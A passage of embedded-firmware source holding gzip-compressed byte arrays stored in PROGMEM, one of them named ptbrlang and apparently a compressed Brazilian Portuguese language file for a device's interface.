0x1c, 0x9f, 0xaa, 0x85, 0x6e, 0x92, 0x24, 0x9a, 0x6e, 0x5a, 0x6d, 0xcf, 0xc5, 0x41, 0x89, 0x19, 0x83, 0x38, 0x1d, 0x09, 0x77, 0xc4, 0xa9, 0xac, 0x10, 0xeb, 0xb7, 0xf2, 0x2b, 0xce, 0x10, 0x59, 0x02, 0xb1, 0x3f, 0x31, 0x35, 0xb2, 0x3b, 0x9c, 0x9f, 0x9c, 0xb2, 0x4e, 0x70, 0x8e, 0x29, 0xee, 0x73, 0x1e, 0x98, 0x3a, 0x7c, 0x68, 0xc1, 0xef, 0xe9, 0x9e, 0x56, 0x5b, 0x02, 0xf5, 0xba, 0xa3, 0x60, 0xcc, 0xb4, 0x10, 0x9b, 0x38, 0x54, 0x89, 0x59, 0x33, 0xea, 0xe7, 0x26, 0x97, 0x1e, 0x7f, 0xb2, 0xa6, 0x8b, 0xd6, 0x38, 0x3d, 0x9e, 0x42, 0xdf, 0x4b, 0x88, 0xad, 0xb8, 0x35, 0xd3, 0x78, 0xf5, 0x63, 0x27, 0x9c, 0x51, 0x07, 0x7c, 0x7b, 0xb6, 0xa3, 0x10, 0x33, 0x5d, 0x1b, 0x1d, 0xc2, 0x03, 0x1a, 0x8f, 0x49, 0x25, 0x4c, 0xc1, 0xaf, 0x92, 0x85, 0xff, 0x59, 0xdf, 0x0f, 0x5f, 0xd5, 0x37, 0x21, 0xed, 0x8b, 0x7c, 0x41, 0xfe, 0x1d, 0xe3, 0x43, 0x1a, 0x36, 0xb5, 0x50, 0xe9, 0xb5, 0xb4, 0xfa, 0xfc, 0xec, 0xda, 0x16, 0x50, 0x99, 0x98, 0x72, 0x63, 0xe6, 0x46, 0xd2, 0x99, 0x29, 0xed, 0x62, 0x9b, 0x77, 0x1d, 0xb9, 0xeb, 0xe8, 0x4f, 0xbc, 0x99, 0xdb, 0xa7, 0x37, 0xf4, 0xe1, 0x16, 0x34, 0x55, 0x88, 0x72, 0x9e, 0x14, 0xe9, 0x03, 0xda, 0x98, 0xbe, 0xec, 0x62, 0xf4, 0x85, 0x10, 0xcd, 0x84, 0x02, 0xbe, 0xbb, 0x4c, 0xf2, 0xb3, 0x3c, 0x5a, 0xa3, 0x4b, 0x5c, 0x60, 0xbe, 0xc0, 0xc4, 0x19, 0x99, 0x96, 0xa6, 0x3c, 0x92, 0xc6, 0xe2, 0x6e, 0x95, 0x0b, 0xe6, 0x94, 0x40, 0x7c, 0x5e, 0x76, 0xbe, 0x73, 0xcc, 0x88, 0xbd, 0x98, 0xf9, 0xa9, 0x26, 0x0b, 0xea, 0x06, 0x69, 0xc1, 0xd4, 0x8c, 0x05, 0x73, 0x89, 0x18, 0xad, 0x1b, 0xa7, 0x1f, 0xa7, 0xc6, 0x86, 0x1a, 0x19, 0x6e, 0x84, 0x89, 0xf9, 0xd2, 0xe9, 0xc2, 0x7c, 0xf6, 0xc8, 0x1b, 0xd8, 0xd0, 0xf5, 0x31, 0x99, 0x01, 0x2d, 0x59, 0x01, 0xb2, 0xd1, 0x25, 0x36, 0x2f, 0xa2, 0xa8, 0x72, 0xd2, 0x15, 0x80, 0x9a, 0xcf, 0xb6, 0x1c, 0x3a, 0x5c, 0x5d, 0x88, 0x0b, 0x5d, 0x27, 0x14, 0xb8, 0x67, 0xfc, 0x0e, 0xdb, 0x0f, 0x94, 0x42, 0x01, 0xbc, 0xd3, 0xbd, 0x4e, 0x61, 0x86, 0x33, 0xb3, 0x54, 0x38, 0xcf, 0xd4, 0x52, 0x46, 0x00, 0x02, 0x30, 0x6f, 0xea, 0x0e, 0x75, 0x43, 0x06, 0x11, 0x4c, 0xa4, 0x17, 0x91, 0x40, 0xd7, 0x13, 0x54, 0xcf, 0xc1, 0x67, 0x24, 0x5f, 0xad, 0xd6, 0xdd, 0x54, 0xba, 0xc1, 0xdf, 0x12, 0x53, 0x27, 0x7c, 0x30, 0x0b, 0xe4, 0x29, 0x28, 0x93, 0xdb, 0xea, 0x64, 0xc4, 0xdc, 0x54, 0x14, 0xe0, 0x54, 0x12, 0xd5, 0xe3, 0x17, 0xc3, 0x89, 0x8f, 0x8b, 0x8d, 0x2d, 0xcb, 0x30, 0x3d, 0xb1, 0xb8, 0xbd, 0xb9, 0xbe, 0x5e, 0xec, 0xb4, 0x93, 0x84, 0xd2, 0xba, 0xfd, 0xec, 0x39, 0xb9, 0x20, 0xe6, 0x53, 0x4f, 0x5e, 0xff, 0xf4, 0xec, 0x29, 0xdf, 0xbe, 0xca, 0xbe, 0xad, 0xe5, 0xf2, 0x33, 0x3f, 0xd0, 0xe8, 0x3f, 0x56, 0x6b, 0xbe, 0xe0, 0xe9, 0x3f, 0x4e, 0x52, 0x1b, 0x52, 0x58, 0xf8, 0xda, 0x44, 0xc3, 0x98, 0x1e, 0x5b, 0x16, 0xea, 0x1f, 0xea, 0xec, 0xec, 0x48, 0x5d, 0xfd, 0x46, 0xbf, 0x7c, 0x7b, 0xa4, 0x9e, 0x6b, 0x5c, 0xd0, 0xe9, 0xf7, 0xbf, 0xed, 0x4b, 0x5b, 0x5d, 0xdc, 0xb2, 0xb4, 0x8b, 0x7f, 0x2a, 0x4d, 0x48, 0x87, 0x69, 0x35, 0x19, 0x8c, 0xdc, 0xb1, 0x4a, 0x9a, 0x86, 0x18, 0xd7, 0x49, 0x7a, 0xa6, 0xea, 0x36, 0x0d, 0xc1, 0x2d, 0x31, 0x0b, 0x9a, 0xff, 0x93, 0xd3, 0x72, 0xbd, 0x23, 0xe8, 0x64, 0xda, 0x2c, 0xcf, 0x16, 0xf9, 0xc5, 0x8d, 0xea, 0x1c, 0x92, 0xf8, 0xd6, 0x31, 0x45, 0x03, 0x26, 0x73, 0x33, 0x8a, 0xbd, 0x6f, 0xe5, 0x22, 0x7e, 0xd9, 0xca, 0x74, 0x4d, 0xfc, 0x7f, 0x1b, 0x38, 0x15, 0xfb, 0x15, 0xe3, 0x56, 0xeb, 0x49, 0x2f, 0xcb, 0xb5, 0x35, 0x5f, 0xad, 0x81, 0x10, 0xdb, 0x3f, 0xdb, 0x94, 0xa4, 0xf1, 0xe1, 0xaf, 0x22, 0xe1, 0x83, 0x2d, 0x76, 0xcf, 0x7a, 0x74, 0x0f, 0xfb, 0x20, 0x2c, 0x75, 0xd6, 0xe8, 0xea, 0x09, 0x99, 0xc9, 0x7a, 0x05, 0x20, 0x59, 0xd2, 0x31, 0x31, 0x27, 0x12, 0x9f, 0x6d, 0xda, 0xc7, 0xaf, 0xc6, 0xa2, 0x85, 0x88, 0x83, 0xca, 0x43, 0x80, 0x6d, 0x6d, 0xd3, 0x37, 0x69, 0xf2, 0x91, 0x4d, 0x5f, 0x22, 0xa8, 0xd4, 0xda, 0xa3, 0xed, 0xf9, 0x46, 0xc4, 0x57, 0x7d, 0xa9, 0x48, 0xed, 0x07, 0x21, 0xd2, 0x74, 0x5c, 0xa2, 0x3d, 0xc7, 0x36, 0xbe, 0x77, 0xc6, 0x1d, 0xaa, 0x5c, 0x31, 0x84, 0xfc, 0x81, 0x61, 0x4e, 0x18, 0x4c, 0xa0, 0xf0, 0x64, 0x07, 0x32, 0x4f, 0x89, 0xce, 0x82, 0x02, 0x4e, 0xe8, 0xe1, 0x0e, 0xfa, 0x90, 0xc6, 0x85, 0x00, 0x09, 0x40, 0x24, 0x35, 0x51, 0xe1, 0x41, 0x84, 0xc9, 0x24, 0x3e, 0x36, 0x57, 0x8d, 0x1d, 0x2b, 0xb3, 0x81, 0xf6, 0xf4, 0xfa, 0xf1, 0xf3, 0x5b, 0x7a, 0x7e, 0xd3, 0xf4, 0xe0, 0x47, 0x0c, 0x04, 0x9c, 0x84, 0xbd, 0xeb, 0x0b, 0xe6, 0x71, 0xe9, 0x19, 0x92, 0xdd, 0xce, 0x9a, 0xd6, 0xdb, 0x8f, 0xf7, 0xfc, 0x5c, 0xc7, 0x05, 0x51, 0x3e, 0x3a, 0x62, 0x42, 0x92, 0xb9, 0xae, 0xa1, 0xd7, 0xe7, 0xc4, 0x9b, 0xe4, 0xbd, 0x0f, 0x95, 0xd4, 0x3b, 0xd4, 0xc7, 0x17, 0xb9, 0x83, 0x6c, 0x10, 0x81, 0x3d, 0x2a, 0x69, 0x69, 0x5d, 0x82, 0xcb, 0x5f, 0x74, 0x1d, 0x78, 0x04, 0x17, 0x96, 0x32, 0x78, 0xfe, 0xdd, 0x77, 0x73, 0x28, 0x93, 0xf0, 0x06, 0x04, 0x46, 0x5e, 0x73, 0xd8, 0x9d, 0x61, 0x74, 0xe7, 0x93, 0xe4, 0x11, 0x61, 0xc6, 0xed, 0x2a, 0x84, 0x6e, 0x65, 0x67, 0xe9, 0x1c, 0x39, 0x60, 0x2f, 0x65, 0xb9, 0xe6, 0x37, 0x0b, 0x7e, 0x79, 0xff, 0x8c, 0xc2, 0xd7, 0x46, 0x07, 0xa1, 0x4a, 0xcf, 0x4c, 0xe5, 0xfb, 0x7c, 0xe9, 0x11, 0x09, 0x94, 0x06, 0x26, 0xfd, 0x4c, 0xbd, 0x24, 0xff, 0x49, 0xcb, 0x8e, 0x03, 0xd6, 0x0e, 0xde, 0xd2, 0xe4, 0x90, 0xf7, 0x01, 0xa6, 0xd8, 0x8e, 0xdb, 0x4a, 0x97, 0x68, 0xd6, 0x62, 0xaf, 0x6f, 0x84, 0x4b, 0x4f, 0x08, 0xc6, 0xcf, 0xb3, 0x99, 0x7c, 0xc4, 0x6d, 0x2a, 0xb4, 0x9b, 0x01, 0x34, 0xe9, 0xa3, 0x6e, 0xd6, 0xc4, 0xc9, 0xc6, 0x8b, 0x86, 0xbc, 0x61, 0xc0, 0x56, 0xa7, 0x07, 0x33, 0xbe, 0x31, 0xa4, 0x1b, 0xcd, 0x67, 0x54, 0xde, 0x4c, 0xde, 0xd5, 0x58, 0x67, 0xd0, 0x09, 0x47, 0x20, 0x37, 0x1e, 0x25, 0x01, 0x41, 0x74, 0x07, 0x8a, 0x9e, 0x44, 0x4e, 0x0a, 0xf7, 0x44, 0xcd, 0xce, 0x94, 0xda, 0x85, 0x5a, 0x6c, 0xcd, 0x53, 0xdc, 0x11, 0x45, 0x65, 0x8a, 0x75, 0x76, 0x7a, 0xda, 0xd0, 0xe3, 0xd7, 0x55, 0xa4, 0x07, 0xdd, 0xb6, 0x92, 0xe7, 0xe0, 0x34, 0xeb, 0x51, 0xf0, 0x7c, 0x21, 0xe3, 0x47, 0xe2, 0x5d, 0x85, 0x50, 0x3e, 0xd1, 0xc0, 0xe4, 0x60, 0xd8, 0xe8, 0x06, 0xbf, 0x56, 0x47, 0xf4, 0x3a, 0x96, 0xc9, 0x3b, 0x11, 0xe7, 0x24, 0x7e, 0x94, 0x09, 0x90, 0x93, 0x7b, 0x06, 0xb1, 0x62, 0x7e, 0x09, 0x9a, 0xb9, 0x2d, 0x97, 0xe9, 0x37, 0xff, 0x9a, 0x0c, 0x1a, 0x33, 0xbd, 0x4a, 0x47, 0x6c, 0x08, 0x8d, 0x0d, 0x44, 0x90, 0x03, 0xfd, 0x2b, 0x45, 0x29, 0x4f, 0xe2, 0xf3, 0x6e, 0xd9, 0x7f, 0xbb, 0x99, 0xdd, 0x38, 0x42, 0x4a, 0xcf, 0x1e, 0x5b, 0xa5, 0x8d, 0xe1, 0xd6, 0x78, 0xb2, 0x69, 0xaf, 0x8e, 0xf7, 0x84, 0x04, 0xb9, 0xb7, 0xec, 0x97, 0x6e, 0xae, 0xdb, 0xcf, 0x78, 0x95, 0xff, 0x3d, 0x2c, 0xf1, 0x52, 0xf8, 0x0f, 0x91, 0x82, 0x5b, 0x7b, 0xd3, 0xba, 0xcd, 0x43, 0x21, 0xd8, 0xb1, 0x84, 0xd2, 0x66, 0x0c, 0x64, 0x44, 0xb6, 0x0e, 0x96, 0x5a, 0xf5, 0xe0, 0xf0, 0x9b, 0xff, 0xfc, 0x17, 0x10, 0x5c, 0xa3, 0x1e, 0x6d, 0x1b, 0x00, 0x00};\nconst char ptbrlang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x70, 0x74, 0x62, 0x72, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xb5, 0x59, 0x4d, 0x6f, 0x1c, 0xc7, 0x11, 0x3d, 0xc7, 0xbf, 0xa2, 0xc5, 0x93, 0x04, 0x2c, 0xd7, 0x24, 0x15, 0x1b, 0x8a, 0x81, 0x1c, 0x56, 0xfc, 0x48, 0x98, 0x44, 0x22, 0xc3, 0x95, 0xe4, 0x1c, 0x08, 0x2c, 0x7a, 0x67, 0x7a, 0x77, 0x5b, 0x9e, 0x99, 0x1e, 0x75, 0xcf, 0x2c, 0x19, 0x05, 0x39, 0x07, 0xf9, 0x01, 0xb9, 0x47, 0xc8, 0xc1, 0xb0, 0x01, 0x9d, 0x84, 0x5c, 0x7c, 0xdd, 0x3f, 0x96, 0x57, 0x55, 0x3d, 0xb3, 0x3d, 0x4b, 0x52, 0x09, 0x0c, 0xc4, 0x07, 0x79, 0x67, 0xa6, 0xbb, 0xba, 0xba, 0x3e, 0x5e, 0xbd, 0x2a, 0xfe, 0xe5, 0x0b, 0x85, 0xff, 0xf6, 0x0a, 0x5d, 0x2d, 0xf7, 0xbe, 0x51, 0x7b, 0x75, 0xb3, 0x3f, 0xf7, 0x7b, 0x23, 0x79, 0x79, 0xa3, 0x7d, 0x65, 0xe5, 0xfd, 0xe4, 0xcd, 0xf9, 0xf4, 0xa2, 0x7b, 0x9f, 0xdb, 0x90, 0x15, 0xda, 0x96, 0xc6, 0xd3, 0xa7, 0xd3, 0xd0, 0x18, 0x55, 0x7b, 0xf7, 0xd6, 0x34, 0x4e, 0x6d, 0x7e, 0x50, 0x6d, 0xa9, 0xe9, 0x71, 0xad, 0x55, 0x6e, 0x54, 0xe6, 0xaa, 0xcc, 0x58, 0x7c, 0xa8, 0xb5, 0xd7, 0x6a, 0x61, 0xab, 0xa0, 0x4c, 0xde, 0x66, 0x3a, 0xb3, 0xae, 0xd2, 0x16, 0x0f, 0xb4, 0xa8, 0x31, 0x10, 0x31, 0xbe, 0xae, 0x5e, 0x9a, 0x52, 0x39, 0x75, 0x3a, 0xbd, 0x7c, 0x76, 0xf4, 0xf5, 0xd7, 0xaa, 0xc2, 0x53, 0x30, 0xad, 0x9a, 0x9e, 0xfc, 0x5e, 0x2d, 0x9c, 0xd7, 0xa5, 0xca, 0xbc, 0xd5, 0xb9, 0x0b, 0x22, 0xcb, 0x84, 0xc0, 0xc7, 0xd6, 0x9b, 0x4f, 0x01, 0x07, 0x8c, 0xd5, 0xa5, 0xcb, 0x69, 0x7f, 0xe6, 0xbc, 0x37, 0x5e, 0x19, 0xef, 0x5d, 0x78, 0x74, 0x5d, 0x5d, 0x57, 0xaf, 0x1b, 0x5b, 0xd8, 0xf7, 0x46, 0x05, 0x57, 0x9a, 0xaa, 0x61, 0x95, 0x1a, 0xec, 0x0f, 0xad, 0x86, 0x24, 0xbf, 0xf9, 0x54, 0x43, 0x6a, 0x50, 0xde, 0xe4, 0x86, 0xd5, 0xb1, 0xa1, 0x76, 0x10, 0x68, 0xd7, 0x71, 0xfb, 0x05, 0x36, 0x2e, 0x1a, 0x98, 0xc2, 0xa8, 0x96, 0x25, 0x69, 0xf5, 0xae, 0xd5, 0x39, 0xa4, 0xab, 0x6f, 0xed, 0xfe, 0x99, 0x55, 0xeb, 0xcd, 0x87, 0xc2, 0x92, 0x5a, 0x10, 0x00, 0x0d, 0x1b, 0xfc, 0xaa, 0xe8, 0xbe, 0xb9, 0xdf, 0xfc, 0xcb, 0xa9, 0xf3, 0xd3, 0xd3, 0x53, 0xf5, 0xec, 0xe0, 0x68, 0x7c, 0x78, 0x08, 0xe9, 0x15, 0xbd, 0x9a, 0x17, 0xee, 0x5d, 0x6b, 0xac, 0xe6, 0x1b, 0x5a, 0xa8, 0x04, 0x55, 0xcb, 0x1a, 0x1f, 0x4d, 0xb5, 0x22, 0xe3, 0x2d, 0xbc, 0x79, 0xd7, 0x6e, 0x7e, 0xac, 0x32, 0xab, 0x61, 0x94, 0x4b, 0xe7, 0xd5, 0x42, 0xaf, 0x9d, 0x1f, 0xa9, 0xb5, 0xf1, 0x76, 0x61, 0xb1, 0x57, 0x39, 0x52, 0x78, 0xd9, 0x16, 0x9a, 0xae, 0x84, 0x87, 0xc2, 0x2c, 0xd9, 0x9a, 0x62, 0xb1, 0x5a, 0x6f, 0x3e, 0x06, 0xa5, 0x21, 0x99, 0x94, 0x52, 0x6d, 0xd8, 0x7c, 0xd8, 0x2f, 0xdc, 0x98, 0x6e, 0x93, 0x48, 0x63, 0x5d, 0x60, 0x43, 0x6f, 0x16, 0x16, 0xf6, 0x20, 0x8b, 0x26, 0x8e, 0xcc, 0x5c, 0xe9, 0xd4, 0xf5, 0xde, 0x5b, 0x5d, 0xc2, 0xcd, 0xd7, 0x7b, 0x23, 0x65, 0x43, 0x70, 0xb4, 0xc4, 0xeb, 0xa5, 0x56, 0x8d, 0x6b, 0x74, 0x21, 0xe6, 0x74, 0x10, 0xa0, 0x0b, 0xe5, 0xe6, 0xd8, 0x06, 0xa3, 0x91, 0x15, 0xb6, 0x62, 0x60, 0xc1, 0xa9, 0x51, 0x6b, 0x97, 0x6d, 0x7e, 0xc4, 0xb1, 0xef, 0x59, 0xc8, 0x28, 0x46, 0x87, 0xae, 0x4d, 0x05, 0xc3, 0xd3, 0x75, 0x58, 0x15, 0x92, 0x56, 0xe5, 0x50, 0xbf, 0xd2, 0x39, 0x62, 0xc7, 0xf1, 0x97, 0x81, 0x4e, 0xde, 0xd4, 0xde, 0x04, 0xac, 0x63, 0xbb, 0xb4, 0xf3, 0xc2, 0x66, 0xda, 0xb3, 0x3f, 0xcd, 0xe6, 0x27, 0x6c, 0x08, 0x6e, 0x0e, 0x2f, 0xb1, 0xa2, 0x01, 0xa6, 0x20, 0x5b, 0x9a, 0xdb, 0x9a, 0x56, 0x6d, 0xbe, 0xa7, 0x13, 0x74, 0x6e, 0xc8, 0x75, 0x5a, 0x95, 0x8e, 0xee, 0xc1, 0x07, 0x88, 0x6e, 0x61, 0xf3, 0x09, 0x17, 0x21, 0x0d, 0x6b, 0x53, 0xc0, 0x9e, 0x59, 0x41, 0x66, 0x0e, 0x23, 0xbc, 0x22, 0x21, 0x5f, 0xba, 0x16, 0x81, 0x51, 0xad, 0x8c, 0xf5, 0xae, 0xf3, 0x62, 0x83, 0x13, 0xa0, 0x4d, 0x2d, 0xd1, 0x6d, 0x0a, 0x0e, 0x7a, 0xc4, 0x92, 0xc9, 0x71, 0x0c, 0xbb, 0xb5, 0x30, 0x59, 0xd3, 0xea, 0x62, 0x24, 0x5f, 0x61, 0xd0, 0xb6, 0xb2, 0xfc, 0xb1, 0x86, 0x13, 0x1a, 0xbf, 0xf9, 0x40, 0xde, 0x29, 0x70, 0x47, 0x59, 0x50, 0xb4, 0x8d, 0xe6, 0x4f, 0x6d, 0xa9, 0x4a, 0x53, 0xac, 0xf0, 0xab, 0x0b, 0x22, 0xec, 0xf9, 0xd6, 0x9e, 0x59, 0xf1, 0x20, 0x05, 0x7f, 0x49, 0xde, 0xb6, 0x15, 0xd2, 0xa2, 0xa4, 0xbb, 0xfd, 0x9b, 0x54, 0x5d, 0x5b, 0x84, 0xad, 0xf9, 0x06, 0x49, 0xfa, 0x8b, 0x24, 0x43, 0xf7, 0xe7, 0x6d, 0xd3, 0xb8, 0x8a, 0x13, 0xb5, 0x55, 0x85, 0xc5, 0x69, 0x62, 0x68, 0x8b, 0x0b, 0x6b, 0xec, 0xc1, 0xbf, 0x99, 0x2d, 0x35, 0x6f, 0xf3, 0xb8, 0xbc, 0xce, 0x69, 0xed, 0x95, 0x81, 0x69, 0x11, 0x62, 0xda, 0xf3, 0x87, 0x90, 0x69, 0x11, 0x41, 0x3f, 0x4c, 0xf7, 0x32, 0xd8, 0x3c, 0xd0, 0xdb, 0xe9, 0xf4, 0xfc, 0x24, 0xf0, 0x2b, 0xdd, 0x34, 0x3a, 0xfb, 0x8e, 0x5f, 0x4e, 0x1a, 0x4d, 0x26, 0x94, 0x95, 0xa6, 0x69, 0x00, 0x24, 0xfc, 0xfe, 0xd8, 0x55, 0x0b, 0xbb, 0x6c, 0x7d, 0xd4, 0x9b, 0xbf, 0xd3, 0x4d, 0xe8, 0xdb, 0x79, 0x7a, 0xa3, 0xfe, 0xcb, 0x2c, 0xd4, 0x72, 0xfa, 0xf9, 0xcb, 0xb3, 0x8b, 0xab, 0x17, 0x93, 0xcd, 0xdf, 0x36, 0xff, 0x38, 0x9d, 0xe2, 0x99, 0x4f, 0x2c, 0x0a, 0xfa, 0xf4, 0xea, 0xf5, 0xc9, 0x05, 0x3f, 0x67, 0x2b, 0x5d, 0x55, 0x86, 0xdf, 0x1d, 0xeb, 0x4a, 0x17, 0x62, 0x0e, 0xb3, 0xb6, 0x99, 0xe1, 0xe3, 0x4f, 0x92, 0xfc, 0x56, 0x41, 0x17, 0xf8, 0x5f, 0x54, 0x91, 0xdc, 0x35, 0x8b, 0xe2, 0xa6, 0xf4, 0x44, 0x10, 0x05, 0x47, 0xb9, 0x3c, 0x2e, 0x41, 0x64, 0x0f, 0x16, 0x9d, 0x10, 0x04, 0xdd, 0xb3, 0xce, 0x9b, 0xd2, 0xad, 0x4d, 0xb7, 0xea, 0x8a, 0x9f, 0xd2, 0xef, 0xa1, 0xd1, 0x0d, 0xf6, 0xcc, 0xc8, 0x96, 0xb3, 0x06, 0x4e, 0xe2, 0x0b, 0x98, 0xb2, 0x66, 0x47, 0x1b, 0x31, 0x31, 0x27, 0xb6, 0xca, 0x39, 0x2b, 0x25, 0x7c, 0x79, 0x6f, 0x65, 0x6e, 0x68, 0xf5, 0x4b, 0xb7, 0x96, 0xe7, 0xa0, 0xd7, 0xbc, 0x7d, 0x8a, 0x9b, 0x44, 0xb7, 0xe8, 0x9c, 0x3d, 0x38, 0xc9, 0xad, 0x68, 0xd6, 0xbd, 0x9c, 0x89, 0xf6, 0x86, 0xbf, 0x1e, 0x17, 0xac, 0x34, 0x6c, 0x30, 0xb9, 0x84, 0x1d, 0xba, 0x6b, 0x74, 0x2a, 0x92, 0xc6, 0x37, 0xc0, 0x32, 0x91, 0xdd, 0xce, 0x43, 0x63, 0x9b, 0xd6, 0x8a, 0x28, 0xd2, 0x78, 0xc6, 0xb0, 0xb5, 0xd6, 0x85, 0x78, 0x4d, 0x7e, 0x3b, 0xc1, 0x72, 0xdc, 0x43, 0x54, 0x6d, 0xcb, 0xb9, 0x54, 0x88, 0x97, 0x9b, 0x9f, 0x10, 0x89, 0xf2, 0xb6, 0xd1, 0x7e, 0x69, 0x1a, 0x76, 0xc5, 0x0b, 0xd3, 0xe8, 0xd0, 0x87, 0xd7, 0xac, 0x0b, 0x82, 0x7d, 0x75, 0xcc, 0xd9, 0x47, 0x68, 0x16, 0x8d, 0x01, 0x38, 0x57, 0x7a, 0xd9, 0x6a, 0x8f, 0x03, 0x74, 0x83, 0x1a, 0xc3, 0x18, 0xa8, 0xfe, 0x70, 0x7a, 0xa2, 0xf4, 0xfb, 0xb6, 0x00, 0x62, 0x10, 0x9c, 0xab, 0xba, 0xd0, 0x19, 0xe1, 0x0a, 0x96, 0x1a, 0xf5, 0x18, 0x39, 0x5b, 0xb6, 0x94, 0x6d, 0x94, 0x30, 0xb8, 0x4f, 0x6e, 0x9e, 0x40, 0x4c, 0xd6, 0xcb, 0xde, 0x86, 0x38, 0xf2, 0x6a, 0x5f, 0x4d, 0x04, 0x8a, 0x17, 0x3a, 0x43, 0xb2, 0x99, 0x79, 0xc4, 0x24, 0x18, 0x1f, 0x89, 0x2a, 0x55, 0xa1, 0xda, 0x7c, 0x5c, 0x9b, 0x42, 0xe5, 0x88, 0x5d, 0x01, 0xbe, 0xa1, 0xab, 0xcc, 0xd6, 0x55, 0xaa, 0xc3, 0x15, 0xe0, 0x55, 0x66, 0x03, 0x8b, 0xc0, 0x2f, 0x57, 0xc1, 0xfe, 0xda, 0x3f, 0xa2, 0xe3, 0xba, 0x08, 0x33, 0x1d, 0x0e, 0x22, 0xeb, 0x29, 0x1a, 0xf1, 0x71, 0x9b, 0x5c, 0x89, 0x4d, 0x50, 0x65, 0x01, 0x11, 0x96, 0xfe, 0xc5, 0x49, 0x94, 0x71, 0x5c, 0x6b, 0x03, 0xc1, 0x19, 0xdf, 0x50, 0x4b, 0xbe, 0xd1, 0xd7, 0xeb, 0xbd, 0xe7, 0x46, 0xe3, 0xb4, 0xeb, 0x3d, 0x45, 0x0f, 0x97, 0xde, 0xcd, 0xcd, 0xf5, 0x1e, 0xdf, 0xf2, 0x98, 0xd6, 0xf3, 0xee, 0xda, 0xb1, 0xb7, 0xbc, 0x18, 0xf4, 0xe9, 0x91, 0x82, 0x35, 0x34, 0xc2, 0x03, 0x98, 0xc6, 0x2b, 0x5f, 0xc6, 0xf2, 0x60, 0x02, 0xc4, 0x6e, 0xbe, 0x97, 0x6a, 0x2e, 0x88, 0x0b, 0xe3, 0x49, 0xbc, 0x29, 0x8d, 0xab, 0xe6, 0x16, 0x77, 0x22, 0xf5, 0x49, 0x2c, 0x6f, 0xdd, 0xfc, 0x1d, 0xb5, 0x0c, 0xf9, 0x86, 0xba, 0xe3, 0xad, 0x4b, 0x76, 0x6d, 0x4d, 0x8e, 0x5b, 0xa3, 0x6e, 0xa3, 0xe8, 0x64, 0x14, 0x88, 0x4b, 0x7c, 0xa3, 0x0a, 0xca, 0x40, 0x32, 0x8e, 0x16, 0x10, 0x2c, 0x49, 0x4c, 0xf0, 0x46, 0x4c, 0x4a, 0x7a, 0xd7, 0xe4, 0x4e, 0x4f, 0xdb, 0x61, 0xc1, 0x5b, 0xc6, 0x76, 0x07, 0xff, 0x21, 0xe2, 0x45, 0x15, 0x31, 0x06, 0x1b, 0xfa, 0x4d, 0xea, 0x08, 0x95, 0x24, 0x6c, 0x34, 0xb8, 0x58, 0xcf, 0xc5, 0x2d, 0x30, 0xd7, 0x89, 0xd1, 0x6d, 0xb3, 0x8a, 0xf6, 0x1a, 0xee, 0xa6, 0x62, 0x2a, 0xf7, 0x14, 0xe8, 0xd8, 0xd9, 0xfb, 0x5f, 0x4c, 0x7f, 0x4f, 0xe4, 0x75, 0xae, 0x43, 0x99, 0x00, 0xb1, 0xa0, 0x0b, 0x35, 0xfa, 0x96, 0xcf, 0xa9, 0x21, 0xa5, 0x31, 0xbd, 0x31, 0x3a, 0x04, 0x4d, 0xcc, 0x31, 0x29, 0x96, 0xa8, 0x70, 0x81, 0x4c, 0x90, 0x02, 0x2a, 0x4a, 0x9e, 0x5d, 0xc6, 0xea, 0xe7, 0x8d, 0xd8, 0x84, 0x84, 0x73, 0x60, 0xee, 0x28, 0x12, 0xbd, 0xc8, 0x4a, 0x40, 0x1b, 0x84, 0xb5, 0xf5, 0x9c, 0x5b, 0x4c, 0x8e, 0x74, 0x81, 0x68, 0xe8, 0xa4, 0x06, 0x03, 0x2a, 0x00, 0xaf, 0x91, 0x2f, 0x73, 0xdd, 0xeb, 0xc5, 0xf8, 0xbc, 0xc3, 0x07, 0x41, 0xd4, 0x74, 0x90, 0x84, 0x00, 0xb3, 0x81, 0x5b, 0xa8, 0x4a, 0x7a, 0x60, 0xcb, 0x88, 0x92, 0x80, 0x6f, 0xce, 0xe9, 0x4b, 0xe5, 0x4a, 0x31, 0x1f, 0x0b, 0x6d, 0xc1, 0x09, 0x55, 0xba, 0x0a, 0xd5, 0xd4, 0xe3, 0x30, 0x70, 0xb2, 0x22, 0x5a, 0x77, 0x4e, 0x41, 0x7a, 0xb7, 0xe0, 0x91, 0xfc, 0xdc, 0xd4, 0x72, 0x6f, 0xdc, 0xac, 0x83, 0x56, 0xdf, 0xcc, 0x42, 0xe3, 0x6a, 0xa9, 0x17, 0xe7, 0xc7, 0xe7, 0x93, 0x2b, 0xf5, 0xa5, 0xba, 0x9c, 0x5c, 0x4d, 0xae, 0xb6, 0x2b, 0x92, 0x8f, 0xf1, 0xa5, 0x6c, 0xd8, 0x2e, 0xbb, 0x01, 0xd1, 0x9a, 0xb9, 0xc5, 0x82, 0xde, 0x52, 0xe9, 0x25, 0x5a, 0x53, 0xd8, 0x25, 0x2e, 0x11, 0x21, 0x7e, 0xee, 0x5c, 0x23, 0xf0, 0x1e, 0xc3, 0x2e, 0xbe, 0x87, 0xa3, 0xe4, 0x35, 0x7e, 0xc4, 0x97, 0x48, 0xef, 0x79, 0x61, 0x66, 0x30, 0x6f, 0xee, 0x4a, 0xfa, 0xf8, 0x5b, 0x3d, 0x07, 0x91, 0xa4, 0xac, 0x29, 0x51, 0x14, 0x60, 0x67, 0x83, 0x1c, 0xfc, 0x84, 0x54, 0xe9, 0x6a, 0xf7, 0xce, 0x7a, 0x14, 0x9a, 0xcf, 0xee, 0x90, 0x95, 0x33, 0xe2, 0x9f, 0x52, 0x79, 0xed, 0x5a, 0xac, 0x39, 0x58, 0x1a, 0xdd, 0x0c, 0x4f, 0x78, 0x0e, 0x0e, 0x01, 0x13, 0x0e, 0xe6, 0x7e, 0x91, 0x56, 0x1c, 0x39, 0xb8, 0x2d, 0x8c, 0x5e, 0x5a, 0x2a, 0x08, 0xaa, 0x83, 0xfa, 0x68, 0xe2, 0x9c, 0xd3, 0xa3, 0x3f, 0xec, 0xcc, 0xa0, 0xe2, 0xa6, 0x89, 0x98, 0x0f, 0x39, 0x34, 0x13, 0x17, 0x50, 0x8e, 0xb5, 0x25, 0x25, 0xc1, 0x6d, 0x01, 0x97, 0xd1, 0x77, 0x01, 0x82, 0x00, 0x9d, 0x3d, 0x3d, 0x63, 0xfd, 0x00, 0xb3, 0x0d, 0x73, 